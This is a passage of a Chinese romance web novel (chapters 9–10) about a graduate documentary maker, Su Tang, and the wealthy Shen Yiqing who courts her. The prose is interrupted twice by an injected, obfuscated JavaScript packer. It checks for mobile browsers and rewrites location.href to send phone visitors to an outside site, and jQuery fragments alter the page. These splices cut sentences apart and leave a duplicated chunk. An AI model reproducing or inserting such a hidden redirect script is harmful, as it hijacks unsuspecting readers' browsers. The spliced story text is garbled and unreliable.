她没有那么不谙世故,也听说过学校传言里的各种名流富商和女生之间的风月事。 对于沈逸清,下意识里她是有点避之不及的。 她心里知道他们是两种人。 可棋社里令人耳热的话语就像在落在她心里生根发芽,每每想起来时心脏就怦然的跳。 但那出格的言论仿佛只是挑帘子一眼,是男人为数不多的逾矩,也是她单方面的一场梦。 沈逸清的皮相永远温文尔雅,行事也是松弛有度、进退得体,两人不多的相处里虽有些模糊不清的暧昧,可从未仗着权势逾矩,也从未勉强过她什么,更没有明确的表态。 一段雾里看花、似是而非的关系里,男人过分的好涵养和绅士风度有时候也会给人带来烦恼,因为他的目的她无从捕捉,更是看不透。 苏棠心中滋味复杂。 眼神转向桌旁的男人,越发琢磨不清。 他究竟把她当什么人? 9. 第 9 章 苏棠从洗手间出来,外间走廊上有人在吵架。 陈牧寒将人堵在门口,宋清烟左躲右躲都过不去,腾的一下急红了眼。 “陈牧寒你是不是有病!这你也管!那你也管!你一天这么闲吗?!” 陈牧寒阴着一张脸,好声好气跟她讲理。 “可以去,但先回家换身衣服再去。” 苏棠一来就注意到宋清烟,倒不是对方多么貌美。 而是穿着很大胆,太大胆了。 上半身随意裹了块挂脖的丝巾,也不算长,倒三角的绑法还没遮住肚脐眼,更别说整个后背,几乎就是空的,一条超短裙短得已经露出四角裤的边。 整张脸画着妩媚的小烟熏,似乎就是刻意等着和他们打完牌直冲夜店。 两人站那边火药味十足。 苏棠朝沈逸清走过去,偏头又忍不住瞧一眼,陈牧寒还是一副吃醋的样子而不自知。 她十分好奇的小声问沈逸清。 “那个是陈牧寒的女朋友吗?” 面前的男人明显一愣,淡淡的轻笑。 “不,是他妹妹。” 苏棠一下呆住,尴尬。 “他们....不一个姓啊?” 沈逸清意味深长的看她一眼。 “不是亲生的。” 到了门口,苏棠打算打车离开,沈逸清却执意要送。 跟他来吃饭时还不算晚,吃完饭又玩了一阵牌已经是半夜。 外面天已经黑尽,不知何时下了一场雨,夜灯下的绿叶稀稀疏疏往下滴着水。 潮湿的深秋,冷肃味道越发明显,苏棠冷不丁打了个寒颤,沈逸清从停车场出来,车刚刹稳,她赶紧利落的爬上去。 这次的气氛显然比医院顺路送她那一次更熟络些。 米朵腿好之后似乎有了更好的选择,主打告诉她台球厅的班她继续替,苏棠自然乐意,免得她还另外去找。 暗自打量着男人冷峻的侧脸,她猛地后知后觉。 这段时间以来,她和沈逸清见面的次数越来越多,也变得越来越熟。 他开车还是不爱说话,车里安安静静,只放着一首纯音乐。 是苏棠最喜欢的。 《Luvletter(情书)》。 出自DJOKawari,钢琴和架子鼓的组合,开篇很柔和,接着节奏有明显跳跃感,中间有段小小的转折,随后就是慢慢的升华。 很美妙的感觉,像灵魂被热烈的拥抱又缓缓的松开。 舒缓了不少她和沈逸清独处的紧张。 “这歌不错,我很喜欢。” 她忍不住称赞。 几不可闻的勾了勾唇,沈逸清轻笑。 “嗯、”他偏头飞快的看她一眼又移开,“和我喜欢的《flowerdance》是天生一对。” 明明是在说歌,却又像在说人。 忽的,心跳漏了一秒。 苏棠愣住,这话她没敢接。 沈逸清暗自观察着座位上沉默的人,一副完全不知道怎么接他话的样子。 本来就是存着逗逗人的心思,得逞了,他也开心了。 沈逸清熟门熟路,苏棠静静的坐在位置上,起初她以为那首歌只是巧合,并没有在意,但车一路开,歌一路换,几乎每一首她都听过,每到尾声的时候,她就在猜,会不会下一首还是她喜欢的。 就这么一路惊讶,一路意外,一路一次又一次的惊喜下,沈逸清的车进了校园。 到了研究生宿舍,快要下车的时候苏棠甚至还有些不舍,关门时脸上透着一股雀跃和兴奋,开心的和沈逸清道谢。 “今天谢啦~”她斟酌着还是说出口,“好巧,你今晚放的歌我都听过,都是我喜欢的哎~” 女人小鹿般的眸子在夜色里亮晶晶的闪,一动不动的盯着他,那模样对他而言实在是一种勾引,单纯的脸蛋上什么心思都装不住。 沈逸清闷笑一声。 “不巧,你有没有想过都是我刻意的。” 猝不及防的话她像是不知道作何反应,只愣愣的看着他,忽而想起什么,要开口,沈逸清先了然的笑了。 “对,都是从你的朋友圈偷看的。”说完一动不动的盯着她,“我把它们都拷贝过来,剪成了一个歌单。” 顿了一下: “我想、你应该会喜欢。” 他总在听歌的时候想着她,用堕落的思想,有时候连自己都觉得肮脏。 这话他没说。 晚秋的夜风扫落一阵泛黄的树叶,成群结队晃悠悠的飘下来,也把苏棠的心撩动得酥酥痒痒。 没想到,男人在私下里偷偷翻遍了她的朋友圈。 这件事看起来似乎很傻,还带有点讨好,不太像沈逸清这种人会做的事。 或许是自欺欺人,苏棠天真的找到了一些暧昧的感觉,她愣在原地,不敢仔细琢磨沈逸清的行为下暗含的意思,怕是自己多想。 诧异之后她很快恢复正常,礼貌的笑。 “嗯、是很喜欢。” 男人的声音紧接着又传过来。 “那.....你今晚开心了吗?” 沈逸清专注的盯着她,不放过任何一个表情,脑中还是忘不掉今晚路边捡到这小可怜时,她垂头丧气的样子,仿佛全世界都欠她的。 吃饭、打牌、放歌.... 所以,他一整晚其实都是在哄她开心? 苏棠一愣。 男人看过来的视线太黏腻,像携着温热的火,将两人四周的空气烧的滚烫。 苏棠脸上在隐隐升温,下一秒,她飞速转身,像怕他看见什么似的。 “开心!” 她背对着他摆摆手。 “那....晚安啦~沈先生。” 她俏皮的告别,没走两步却又突然停下回头。 “对了!差点忘了。” “你等下,我把领带和外套还你,在我宿舍里装好的,很快!” 沈逸清饶有兴致的盯着那道背影,似乎是怕他等,女人风一阵跑了。 没一会提着个绿色袋子气喘吁吁的回来。 沈逸清悠闲的倚在车头上抽烟,样子并不着急,等得很有耐心。 “急什么,慢慢来。” 他冲她笑。 苏棠不语,表情有些歉意。 “其他没什么问题,就是你西装内衬口袋里那张照片——” “照片怎么了?” 突然打断她的话,连脸色都有些变样。 沈逸清一下站直身子,拧着眉,语气有些着急。 苏棠从未见过他这样紧张一样东西,有些难堪,像是不小心破坏了别人珍藏的宝物。 “西装....被雨淋湿了,照片也坏了。” 那张大头贴并没有塑封,过水一泡,劣质的相纸就泥沙似的散开,她取出来时最表明的那层已经不能看了,女人的脸完全糊掉,只剩个肩膀轮廓,沈逸清的笑脸倒还剩半边。 气氛一下变得有些冷,苏棠咬着唇道歉。 “对不起,要不照片我留下来,明天找人看看能不能修复,好了我再还你。” 沈逸清没说话,脸上也没什么表情,他竟如此粗心大意忘了西装里还有谢流筝的照片。 明白她应该没看清脸后态度才缓和下来。 “没事,你给我,我自己处理。” ..... 目送男人开车远去,苏棠低着头失魂落魄往回走,突然,黑暗里一道声音,吓得她半颗心都飞出来。 一向不住学校的鲍柔今天却突然出现,站在宿舍外,居高临下的打量她。 “你今晚离开的时候碰着舫舟了?” 语气很冲,很生气。 “你给他说什么了?” 到底说了什么,舫舟才会在那样的场合,一点都不给她留面子,竟当着所有校领导的面问她,《窥邙》到底是不是她拍的。 难堪极了,明晃晃的质疑,让席面一下冷场,最后还是导师来替她开脱。 苏棠看着她笑。 “没说什么呀,就替你回答了不能回答的问题而已,为什么拍这个题材的纪录片、灵感是什么。” 语气里有不屑也有取笑。 “难不成仅仅因为我一句话,舫舟老师就会觉得这东西不是你拍的?” “不会的鲍大小姐,除了《窥邙》,你还有那么多优秀的历史作品,那么多论文一作二作的署名,是我们学校出名的‘才女’,舫舟怎么会怀疑你呢。” 这话说得婉转,但是不明不白的就把她骂了,鲍柔恨恨的看着人,偏偏还不出话来,因为苏棠说的都是事实,那些东西十有九个都是她抢来的。 这些问题上她自知理亏,打算换个地方进攻。 她抱手站着,表情玩味的盯着苏棠。 “你和逸清哥认识吗?我之前怎么不知道,你们怎么回事?” 她叫他。 逸清哥。 他们竟然认识。 苏棠一愣。 想起刚才对方接过照片后冷淡的身影,苏棠心烦意乱,没准备回答,晚上庆功宴的气现在还没消。 “不关你事。” 鲍柔似乎觉得这话很好笑,不发一言盯着她,审视的眼神像看一个玩物,不屑一顾又高高在上。 这种眼神和沈逸清有时候很像,又或者他们那个圈子都这样。 无论是陆屿、陈牧寒、还是时越,她似乎都在他们眼中见过这种眼神。 片刻后,鲍柔像憋了很久、人仰马翻的笑,指着她。 “别以为随便一个男人给你递橄榄枝就是对你有意,苏棠、”她看着她,“你知不知道其实你......” 鲍柔突然耐人寻味的收住话,换了口风。 “知不知其实你真的......很蠢。” 鲍柔存心看戏,说完这话一反常态的摆摆手走了,留下一脸疑惑的苏棠。 黑暗中走远的身影不忘给她放狠话。 “不管你信不信,我真心为你好,沈逸清这人,你别陷进去,对你不好。” 苏棠沉默着,突然想起今晚牌桌上陆屿的话来。 又一个幸运女神。 那么,上一个是谁呢,她又排第多少个。 * 苏棠回到寝室的时候米朵居然还没睡。 京大的研究生宿舍条件好,两人房,女寝的矛盾在这里被缓和不少,就算她很晚回来,也不用担心吵到其他人。 米朵有些八卦。 “提下楼那领带和西装,哪来的?” 苏棠没打算隐瞒,大大方方坦白。 “就陆总的一个朋友。” 但她没老实吐干净,只捡关键的说。 “那天去医院看你,路上淋了雨碰巧遇见,捎了我一路,看我冷借我的。” 米朵若有所思,神色渐渐有些复杂,从床上探出半个头。 “‘陆总的一个朋友’?” 她丫丫学语,表情暧昧。 苏棠懂她什么意思,笑起来,目光坦荡极了。 “你别多想,真的就普通朋友。” 说来说去有些好笑,仔细算算,两人真的只是见过几次面的关系,自己的心思却渐渐飘的有点远。 鲍柔的话不好听,但是却木头似的敲了下她。 沈逸清这人,确实随便怎么看,自己都该小心些,毕竟,女人对他们那种圈子而言,说到底不过是快消品抑或一件漂亮衣服。 今日穿了脱下,明日就不一定记得起。 米朵看着眼前人,淡妆在她身上总是很适宜,气质很软很温柔,糯得像团兔子,看起来又没脾气,别人一看就想往怀里搂那种。 她突然怀疑起之前陆屿主动给自己介绍其他兼职的动机来。 沉思一阵,笑道。 “这男人爱借衣服给女人,就像女人爱借书给男人,明明没有什么关系,但感情又在一来二去中悄然建立了。”她继续盯着苏棠,模样认真严肃:“你别着了别人道最后还不知道,林睿是个前车之鉴啊。” 她提醒她。 正说着,苏棠兜里的手机震了一下。 沈逸清发了条消息过来,问她明天有没有空,并没有说有什么事。 明明两人还没有分开多久,苏棠偏离的心已经慢慢回归了主位。 她拿起手机,心里已经没有什么悸动。 ——【有什么事吗?】 沈逸清在开车,等着消息却突然弹出来这么一条。 冷冰冰的,满是疏离感,仿佛两人今晚的亲昵是场梦。 苏棠发了消息就等着他回复,站着没动,米朵好奇的探头过来。 “谁啊?大半夜的,男的女的?” 苏棠笑。 “男的。” 米朵直觉不对劲。 “大半夜发消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747760|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息的异性,不是现在的男朋友,就是以后的男朋友。” 她穷追不舍。 “谁啊?刚才说的‘普通朋友’?” 苏棠无奈,义正言辞的纠正。 “真的是普通朋友。” 回完消息,手指又点开紧挨着的一个红点,是寄卖行老板发来的提醒,心中琢磨了一阵卡里的钱,除去学费和生活费,还有很大的距离。 她咬咬唇,抬眼问米朵。 “你手里还有没有其他兼职资源,我最近有点差钱。” 刚说完,掌心的手机就一震。 ——【能不能请你帮我个忙?】 * 第二天。 苏棠跟着师姐许述忘,坐着城际班车摇摇晃晃一上午才来到郊区有名的城中村。 密密矮矮的砖瓦房连成一片,这些年京北飞速发展,却独独遗弃了这个角落。 两人在几米宽的小巷窜走一阵后,才进了一个稍微宽阔点的地面。 院子里还算干净,打扫得整整齐齐,半边水泥坝堆着不少收来的废品,一辆破旧的人力小三轮停在旁边,连把手附近的钢架都已经变形,别说后面拉货的框早就铁锈一片,看不出三轮原来的颜色。 只一眼,苏棠就知道了这个即将拍摄的家庭大概经济情况。 男孩穿着高中校服,走出来时表情拘谨羞涩,后面紧跟着他老汉。 说是老汉,但是更像是爷爷,两人的年纪相差很大。 许述忘拉过苏棠先给两人介绍。 “这是要拍你们的导演,苏棠老师。” 苏棠先伸出手和老人相握,尽量使自己的语气不引起对方反感。 “不用叫老师,叫我苏棠就好,怎么顺口怎么叫,不要和我客气。” 老人礼貌又局促的笑了笑,在身上擦了两下黑黢黢的双手才犹犹豫豫的递过来。 拍人物纪实,她第一步就是要想办法融入对方的生活,别让别人排斥,一个让大家都放下身段的称呼往往是最重要的第一步。 男生叫谭茂,是拾荒老人捡回来的孩子,高考失利,今年复读,是苏棠这次毕设作品的其中一个主人公,她打算拍一个高四生的生活日常。 今天只是第一次见面,并不是拍摄的开始,两人把苏棠迎进屋里,矮小的平方挤满了各种生活用品,几十平的空间一览无余。 吃饭、睡觉、生活区域并不分得很开,仅有的一张一米多宽的小木桌堆满书籍摆放在墙角,简单摆一张塑料凳就算是谭茂平时在家里看书的位置。 几人闲聊一阵,晚上的时候苏棠又在最近的小餐馆请人吃了一顿便饭才离开。 她赶上最后一趟车回到京北市区,还有一个难缠的角色等着她去见。 章柔嘉把见面的地点定在一个市中心的酒吧,许述忘还有其他事先离开,只匆匆忙忙给了她一个电话。 这酒吧开在顶楼,几百平的空间弯弯绕绕,苏棠一进去就五迷三道的找不到北,打通对方的电话,吵吵闹闹的环境费了大劲儿才跟着她说的方向摸过去,一路莽莽撞撞碰了不少人。 终于,在左一声道歉右一声道歉里终于看到个穿着热辣的吊带少女提着瓶酒冲她打招呼。 苏棠费力挤过去,像只费力挣脱渔网的鱼,满张脸挤得扭曲,隔得不远了,冲对方大喊。 “要不我们出去说吧!” “啊!你说什么?!” 章柔嘉一头洒脱不羁的短发随着炸裂的音乐摇晃,两根呆毛不听话的立起来,冲她叫。 “你说什么!我听不清!” “我说我们出去说!” 出去说。 章柔嘉这回也没听清,但从她夸张的嘴型里读出来了。 她将手里的酒递过去。 “给!来都来了!先喝一个再说!” 苏棠懵了,看着面前的酒瓶有些犹豫。 “不喝是吧?!那免谈。” 少女看出她的拒绝,立马要收回手,却一下被人按住。 同意露脸拍摄的主人公并不好找,师姐帮了她很久,错过这一个,又要遥遥无期。 苏棠接过,只为难一秒,脸上就闪过一丝狠意和决心。 毫无章法的喝法,仰头一饮而尽,半瓶酒,就这么没了。 她低下头,擦了擦唇,强压住喉咙里翻涌的恶心。 沈逸清面无表情,单手撑在二楼露台的栏杆边,手里正捏着根烟慢慢抽。 眯着眼睛不动声色的盯着光怪陆离的场内。 女人的动作和她的人一样透露着一股纯真的傻气。 是当真不会喝酒。 身后,陆屿搂着两个穿着清凉的美女你侬我侬,浅笑低语一阵后将其中一个往沈逸清身边推,可那女人到了半路样子期期艾艾,最后还是不敢往上靠。 陆屿看笑了,不再为难她,自己起身走过去。 “听说你爸当年鬼混一阵那女人又找上门了,不回去看戏有心思来我这?” 沈逸清不看他,手机在指尖捏着转了一圈,眼神依旧盯着楼下,语气十分轻蔑和嫌弃。 “那种女人有什么好在意的。” “听说你要有个弟弟了”陆屿笑。 沈逸清陡然回头,表情认真。 “说实话,我早见过,一点不像沈顺昌,沈家才不会有长在泥巴巷里的贱/种。” 说完回头,楼下的女人被拉拉扯扯坐到了卡座上,被一群男生围住,面前上了一排酒。 手里的烟烧到了尽头。 沈逸清拿过烟灰缸掐掉,拎起沙发上的西装外套二话不说往下走。 身后的陆屿意犹未尽。 “哎!这就走了!不再说说!” 视线里,人已经到了楼梯口,一晃只剩个背影。 苏棠坐在位子上,数不清第几杯酒下肚,浑浑噩噩放下杯子擦嘴的时候,抬头就冷不丁撞上道阴沉沉的目光。 周围声色犬马,沈逸清站在场中央一动不动的盯着她,一言不发的样子看得她心里发毛。 一瞬间,苏棠死人般呆在卡座里。 见了人她才忽然想起......她似乎忘了昨晚微信里答应他的事。 一整天、整整一个白天,她居然忘得一干二净。 四目相对,苏棠心中惊涛骇浪,呆了两秒,‘蹭’的一下从座位上站起来,手足无措。 看向男人的眼神里,满是惊慌、愧疚和....不安。 10. 第 10 章 男人手腕上搭着件西装外套,看过来的眼神很漠然,脸上更没什么情绪,远远瞧了她一眼就扭头往外走。 浑当两人是陌生人的姿态。 苏棠心下一慌,放下手中的酒杯跌跌撞撞往那背影追,一旁的章柔嘉不知实情,在后面冲她不停地喊,以为自己玩笑开过了她要走。 出了酒吧大厅,男人身影已经不在,苏棠看着一层层下降的电梯,想也没想转身跑进了消防通道。 等她气喘吁吁的跑到一楼,电梯早停了。 里面空空荡荡。 哪还有男人半个影子。 她呆站原地,很无措,心里更是五味杂陈。 他应该很生气吧。 无论怎样,她忘了答应他的事,是她失约,她想自己应该道个歉的。 半夜的酒吧街依旧热闹,三三两两的年轻人脚步虚浮的相互靠着在街边打车。 沈逸清从一旁的超市买了烟出来,抬眼就看见女人委委屈屈的对着电梯发呆,胸口起伏不停,大口喘着气,累惨了,看样子是从楼梯间一路追下来。 眸子沉了沉。 这小东西。 他今天在茶餐厅特意订了包间,等了一下午,他以为女人只是迟到,没成想最后直接没来。 他不是喜欢逼迫的人,没立即兴师问罪。 只是他沈逸清走到哪里不是人人渴望着巴结,第一次被女人这样随意对待,倒是件新鲜事。 打听了一圈,陆屿那里今天也请了假,具体没说去干嘛,总之就是没影儿了。 瓶口拧开,他站在原地慢条斯理喝了两口水,欣赏够了对方失落的神情才慢悠悠的抬脚过去。 她放他鸽子。 这事可不会这么轻易翻篇。 苏棠心里有些失落,正扭头准备上楼,一转身就看见男人远远盯着她走过来,手里拎着半瓶矿泉水,一张脸跟平时一样没什么表情,她摸不准他是不是在生气。 心里忐忑着,四目相对时,刚才莽着劲儿一路追下来的勇气却突然消失殆尽了,眼看着人朝她越走越近,竟然有些慌乱。 她没去。 他不会等了她一下午吧。 十五步。 苏棠心抖了一下,人已经站到跟前,她紧张得一颗心都要跳出来。 他不会....骂她吧。 男人似有似无的勾着唇,笑得危机四伏暗含危险,下一秒。 “苏小姐,爽约有意思吗?” 苏棠睁大眼睛看着人。 “我、我、、你、、你、、、....” 她看着沈逸清急着解释,开口却结结巴巴,慌乱得语无伦次不知道说什么好。 像只慌乱的小白兔,笨拙的想讨好人却不得其法。 沈逸清本来就比她高出许多,垂眼懒懒的睨着人,目光沉沉像是不满,口吻有意打趣。 “怎么?不会说话了?” 苏棠脸一红,正声道。 “对不起,我今天有事忙忘了。”她小心翼翼,眼神试探的看向他,“你今天.....没有等很久吧?” 昨晚他发消息过来说帮个忙,朋友餐厅下午开业,他缺个女伴,既然是帮忙,苏棠犹豫了下还是答应,心里想着就这一回。 答应是答应,但是潜意识里想和他保持距离,过了一夜,全没放在心上。 她上午满课,下午本来是休息的,午间的时候又突然被许述忘拉住,说给她的毕设找到了合适的拍摄对象,约好了时间,要她过去见见。 师姐找人不易,她着急忙慌想也不想,立马给陆屿那边打电话请了假,却忘了沈逸清这回事,要不是酒吧遇见,她到现在都还没想起。 沈逸清专注、认真,一动不动的盯着她,小心翼翼试探的样子,怕极了他生气。 四周静静地,偶尔有车辆突兀的喇叭声。 苏棠一直等着,可她的话他没接,像是没听见,可苏棠知道,他听见了。 沉默有时比怪罪更拿人。 完了。 半晌,苏棠心底哀嚎一声,升腾起一股绝望。 男人那表情告诉她,他真的等了很久。 无疑....是十分生气的。 “对不起,我错了。” 苏棠死咬着唇低下头,有些愧疚,怯怯的,不敢看他。 眼前人低声下气诚心道歉的样子,小可怜样,明明是她的错,可那副模样,自己要敢说一句重话,沈逸清毫不怀疑,那眼泪珠子就得大颗往下掉。 道歉的模样也正经极了,就像下一秒就要立正给他弯腰鞠个躬。 真有趣。 苦等一下午的火气突然就消失了一半,可还剩一半。 沈逸清看着人,穷追不舍。 “错哪里了。” 见他还肯搭理自己,苏棠低垂的头慢慢抬起来,有些没底气。 “不该忘了和你的约定。”声音低低的。 沈逸清点点头。 “那你的道歉不会只是嘴上说说而已吧?” 还没等苏棠反应过来,他立即问她。 “给你个弥补的机会要不要?” 苏棠又愧疚又紧张,哪有心思琢磨其他,只是抬头看他,猛地点点头。 沈逸清审视着人,矮他许多,所以她看向自己时不免要微仰着头,夜风吹散她两颊的碎发,直往嘴边送,直勾勾盯着他的眼神期待又疑惑,眼巴巴期待着他说话的样子,像只向人讨礼的兔子,紧张又不安。 那张才喝过酒,擦拭力度过重的嘴吧浮肿饱胀,泛着旖旎的粉红色。 突然的,沈逸清指尖有些泛痒。 他很想往里面奖赏一根胡萝卜,又突然想起来。 这还不是他驯化过的。 他害怕吓到她。 苏棠看着眼前盯着她走神的人,静静地等了好半晌才听见他开口。 忽然起了一阵疾风,那声音不远不近的紧随着飘过来。 他问她。 “明后天你有没有空?” .... 沈逸清站在楼梯口,一路看着红色的数字慢慢上升直到停下。 喝成这样,还要回去。 就非得拍那小姑娘,换个人不行? 还没出社会,事业心就那么重,倔性,还什么都比他重要,攀上他不比什么都好? 蓦的,沈逸清自嘲的笑一声,反应过来他还没她那主人公受重视。 转身,朝不远处招手,夜色里跑过来一个保镖模样的男人。 “小心盯着别让她发现,没出事就不用管。” 男人心下了然,听了吩咐心照不宣的进了电梯。 苏棠重新回到座位,章柔嘉十分意外。 “害!我还以为你走了呢!” 少女还有些懊恼,刚在还在后悔着呢,人回来了。 她窝在卡座里上下打量着苏棠,身边坐了一圈和她同龄的少男少女,个个奇装异服,描龙画凤贴着文身,个顶个的离经叛道和桀骜不羁。 刚才被捉弄时其实掺了不少水,还有人要为难苏棠让她喝,最后被章柔嘉拦下来,回头拿过自己卡座上的包包牵着人往外走。 到了门口也不打车,点了根烟提了个要求,让苏棠慢悠悠陪着她走回家。 夜半的主干道连车都很少,夜风里有很重的寒气,带着一股晚秋的肃杀。 苏棠看了看她身上那件亮闪闪只当个裹胸布的吊带,抬手将自己外套脱下给她披上去,章柔嘉没拒绝,偏头看她一眼把衣服往身上搂了搂。 “哎!你说人这辈子为什么是人啊?不是猫啊狗啊小鸟啊。” 愁肠满绪的话带着点厌世,十八岁少女的心思苏棠不好猜,只闷声陪着她走。 章柔嘉还在自言自语。 “你说会不会我们投胎前就站在天上看啊,看中了就满意的点头,‘哎!就这个’然后咻!的一下就钻到了妈妈的肚子里,其实我们早就看过这辈子的剧本。” 苏棠猛地停住,偏头看了她一眼,没来由的鼻子酸了一下。 “天堂如果真的有剧本,我想知道我妈妈到底长什么样子。” 这话让章柔嘉一下愣住了。 “对不起,我不是故意的。” 她慢慢转换了话题,和苏棠主动聊起自己。 “哎,你知不知道,今天我去学校办退学手续,我们班主任指着我鼻子骂,她说,‘哎!章柔嘉,你知不知道你才十八岁,你人生能有多少个十八岁’,她那副激动的表情真的特搞笑,感觉我每天去学校不是学习,就是专门去和她码架的,特没意思,还有哪些书啊题啊这些,都特没意思,复读更没意思。” 她一路走一路说,带着一股地方口音,说话打着弯又轻飘飘。 没由来,苏棠想起沈逸清,男人说话字正腔圆,一点杂音也没有,低沉的声线也很好听,一点也不像京北人。 然后,她又想到城中村里点灯熬油般努力高考的谭茂,一时心绪复杂,没接她的话。 章柔嘉还在继续。 她是京北土著,家境优渥,她自己开过店、学的是艺术,也做过工,那个选址不太理想的咖啡店没到一年就关门大吉了,过于抽象派的装潢风格和高于市场不太正常的价格总让人望而生却。 虽然才十八岁,但走过的路已经十分丰富,对于生活的各种试探跟她此时懵懂的人生态度一样跌跌撞撞,永远在摸索,父母的期望倒雷打不动的坚定,就希望她能考个好大学。 这次休学,是她拿着抑郁症诊断书和家里吵翻才争取到的结果。 如果说城中村的谭家是对生存和知识的摸索,那章柔嘉就是对精神世界的摸索。 她好像永远都在寻找自己乐趣的路上,没过两天又失去乐趣,觉得人生缺少激情,她家里投资给她开店,送她去学画,去演戏,甚至自己开了公司,这些都只是章家父母为了自己女儿能够找到生活乐趣的手段,但他们还是要她考个好大学,任何时候,没有学历的光环,都让她父母觉得丢人,即便家里再富有。 她拥有一切谭茂想要却没有的东西,但苏棠明显感受到,她此刻的心境比谭茂还要糟糕和混沌。 物质的充裕并没有给她带来精神的富足。 她觉得索然无味。 她对苏棠说,如果可以,她来生想当棵树。 木头嘛,没有思想,就不会成天瞎想。 苏棠没回话,只是沉默的看着她。 这次毕设主拍高四生,主题是《绽放》。 两个不同阶层却相同年纪的人,苏棠拉开两个视角,将本来毫无交集的他们揉进一个镜头。 她沉默的看着他们奋斗、追寻,她带着好的期许。 期许谭茂高四复读后高中,期许章柔嘉重新找到人生之路的趣味。 期许两个天与地的人最后都能走出清青春期的迷雾,走到人生最舒适的那个沸点,在最好的青春年华绽放。 章柔嘉辍学在家,苏棠问她接下来的打算,对方只说没想好,但坚持不会再回学校。 她将她一路送到别墅区门口,两人才拥抱告别。 ..... 白光刺目,屋内有风,微微一掀眼,寝室窗户没关。 喝了酒的缘故,苏棠这一觉睡得沉,人还迷糊着,耳边一串震动,摸起手机刚打开,微信消息就一条条跳出来。 是沈逸清。 他问她睡醒没有又说他来接她,最后一句让苏棠猛然醒神,坐起来后耳根一热。 男人直白的提醒她需要带一套泳衣,今晚聚会的地方会有泳池,最好再带一套备穿的衣服。 苏棠愣了愣神,扫了眼时间,已然是下午。 竟睡得这样天昏地暗。 她急慌慌的下床,把坐在下面化妆的米朵吓一跳,抬眼瞪她问她发什么神经,苏棠傻呵呵的笑一下没说话,拉开衣柜。 她泳衣不多,只有两套。 一套白色斑点的三点式和一套分体式的红格子两件套,后一套裙身稍长,比较保守。 她想也没想就把后面这套塞进包包。 旁边的米朵一愣,看着她的动作。 “你要去健身房吗?” 苏棠怔了一下,摇头。 “朋友让我陪他去一个聚会。” 米朵八卦起来。 “泳池趴?男的女的?” 苏棠了解她这个眼神,下意识的解释。 “不是,只说聚会的地方游泳池,拿去备用。”末了又加一句“男的。” 米朵会心一笑,走过来将她那套塞进包包的泳衣扔出来。 “别带这套,带当初我送你那套,白色的衬你。” 苏棠忸怩着不肯。 “不行,那个.....那个太露了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747761|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 米朵大笑。 “都什么年代了,还这么保守,泳池边上不奇怪,没人盯着你看!再说了,好身材,让她们瞧去,还不羡慕死!” 她盯着眼前人,有屁股有胸,虽瘦该少的地方一点不少,又碰上一张纯情的脸蛋,那反差,欲得要死,她个女人有时候都忍不住要去摸一小把。 她猜到那约她的人是谁。 “那人是不是在追你?” 突然,米朵眯了眯眸子看着人。 苏棠一愣,随即立即摆摆手大笑。 “你别开玩笑了。” 沈逸清追她,怎么可能。 “发生点事,陪他玩一趟,算是赔罪。” 米朵沉默看了她两眼,不说话,手里动作却不停,两人还在推推拉拉,沈逸清的消息又过来,说人已经到了楼下,像是催促的意思。 苏棠一咬牙,拧不过米朵,干脆将两件一起塞进了包里,混乱一拉,转身走了。 人到车前,沈逸清敏锐的注意到她脸上似有若无的一抹红晕,以为是怕他等急了跑出来累的,没太在意。 苏棠打开车门,看见沈逸清就一愣。 他今天穿得十分正式,地道的西装三件套,领带是当初借给她当腰带那根,模样正经极了,比两人第一次在台球厅遇见还正经。 突然想起米朵那无端猜测的话,苏棠脸有些热,低下头去不敢看人,像是心虚。 沈逸清喜欢她的反应,故意打趣。 “怎么,不好看吗?”紧接着,“我出门前特意挑的。” 说完扭头在后视镜照了照。 苏棠脸更加红。 她该怎么解释,她和秦诗那段露骨的聊天,似乎无论怎么说都只会越描越黑,反而暧昧。 她自觉地压住解释的念头,抬脚上了副驾驶室。 “好看。” 不敢看他,只好假装整理自己放在怀里的包。 沈逸清暗自瞧着人。 又在害羞。 几不可闻的勾勾唇,没再说话。 终点在京北郊外的一座庄园。 到了目的地苏棠才发现,原来今天是陆屿的生日。 在场的人,除了齐颂恩和时越没来,苏棠认识的只有陈牧寒和她妹妹宋清烟。 双方不久前的牌局上见过,并不表现出惊讶。 倒是有个人,苏棠也没见过,她下车还没转身,对方就迎上来,亲密的拍她的肩,惊喜的叫她‘筝儿!’。 那声音稍纵即逝,她不确定自己是不是听错,因为当她回过身来时那人表情立马就焉了。 沈逸清下车,脸上阴晴不定,似乎对对方认错人这件事非常不满。 男人看了看两人,呆站在原地,似乎还没从这件迷糊事件里回过神来。 沈逸清眼神冷冷看着人。 “酒还没喝,你倒先醉。”他紧盯着他,不知是不是错觉,苏棠在里面看到了一丝警告,“下次开口前,先把人看清再说话,免得闹笑话。” 那男人愣了下,缓了缓神才尴尬开口。 “确实有些昏,对不住。” 下一秒转身走了,可除了歉意,离开时苏棠总觉得他看自己的眼神有些耐人寻味。 吃饭的包间是陆屿亲自选的,装潢颇为写意,看得出庄园主人为了布置花费了大心思,他口味随了他那南方的爹,上桌的大部分都是粤菜,摆盘也云深雾绕的意境,但总体的原料也是汤汤水水,又偏甜偏腻,苏棠爱好吃辣,有些不习惯,只面前有道白切鸡还算对胃口,下意识就一直夹。 眼看转到别的菜她就不动手,沈逸清干脆抬手将玻璃转盘转回来,把白切鸡硬生生停在她面前。 因他这动作,一桌人接下来眼观鼻鼻观心,谁都没有再去转一下桌子,只不动神色的观察他身边的女人。 